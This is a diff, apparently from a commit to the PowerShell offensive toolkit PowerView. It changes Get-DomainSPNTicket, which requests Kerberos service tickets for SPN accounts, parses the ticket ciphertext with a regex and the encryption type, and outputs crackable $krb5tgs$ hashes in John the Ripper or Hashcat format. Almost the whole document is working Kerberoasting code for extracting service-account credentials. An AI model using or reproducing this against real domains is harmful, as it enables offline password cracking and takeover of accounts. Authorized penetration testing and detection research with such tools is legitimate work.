@@ -2597,6 +2597,11 @@ Specifies the service principal name to request the ticket for.
2597
2597
2598
2598
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
2599
2599
2600
+ .PARAMETER OutputFormat
2601
+
2602
+ Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
2603
+ Defaults to 'John'.
2604
+
2600
2605
.PARAMETER Credential
2601
2606
2602
2607
A [Management.Automation.PSCredential] object of alternate credentials
@@ -2616,9 +2621,9 @@ Request kerberos service tickets for all SPNs passed on the pipeline.
2616
2621
2617
2622
.EXAMPLE
2618
2623
2619
- Get-DomainUser -SPN | Get-DomainSPNTicket
2624
+ Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
2620
2625
2621
- Request kerberos service tickets for all users with non-null SPNs.
2626
+ Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format .
2622
2627
2623
2628
.INPUTS
2624
2629
@@ -2653,6 +2658,11 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2653
2658
[Object[]]
2654
2659
$User,
2655
2660
2661
+ [ValidateSet('John', 'Hashcat')]
2662
+ [Alias('Format')]
2663
+ [String]
2664
+ $OutputFormat = 'John',
2665
+
2656
2666
[Management.Automation.PSCredential]
2657
2667
[Management.Automation.CredentialAttribute()]
2658
2668
$Credential = [Management.Automation.PSCredential]::Empty
@@ -2701,28 +2711,53 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
2701
2711
$TicketByteStream = $Ticket.GetRequest()
2702
2712
}
2703
2713
if ($TicketByteStream) {
2704
- $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
2705
- [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
2706
- $Parts.RemoveAt($Parts.Count - 1)
2707
- $Hash = $Parts -join 'A48201'
2708
- $Hash = $Hash.Insert(32, '$')
2709
-
2710
2714
$Out = New-Object PSObject
2711
- $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
2712
- $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
2713
- $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
2714
2715
2715
- if ($DistinguishedName -ne 'UNKNOWN') {
2716
- $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2717
- }
2718
- else {
2719
- $UserDomain = 'UNKNOWN'
2716
+ $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
2717
+
2718
+ # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
2719
+ # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
2720
+ if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
2721
+ $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
2722
+ $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
2723
+ $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
2724
+
2725
+ # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
2726
+ if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
2727
+ Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"'
2728
+ $Hash = $null
2729
+ $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
2730
+ } else {
2731
+ $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
2732
+ $Out | Add-Member Noteproperty 'TicketByteHexStream' $null
2733
+ }
2734
+ } else {
2735
+ Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
2736
+ $Hash = $null
2737
+ $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
2720
2738
}
2721
2739
2722
- # hashcat output format (and now John's)
2723
- $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
2740
+ if($Hash) {
2741
+ if ($OutputFormat -match 'John') {
2742
+ $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
2743
+ }
2744
+ else {
2745
+ if ($DistinguishedName -ne 'UNKNOWN') {
2746
+ $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2747
+ }
2748
+ else {
2749
+ $UserDomain = 'UNKNOWN'
2750
+ }
2724
2751
2725
- $Out | Add-Member Noteproperty 'Hash' $HashFormat
2752
+ # hashcat output format
2753
+ $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
2754
+ }
2755
+ $Out | Add-Member Noteproperty 'Hash' $HashFormat
2756
+ }
2757
+
2758
+ $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
2759
+ $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
2760
+ $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
2726
2761
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
2727
2762
Write-Output $Out
2728
2763
}
@@ -8658,7 +8693,7 @@ OpaqueLength : 0
8658
8693
8659
8694
Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
8660
8695
8661
- Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }
8696
+ Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
8662
8697
8663
8698
[no results returned]
8664
8699
0 commit comments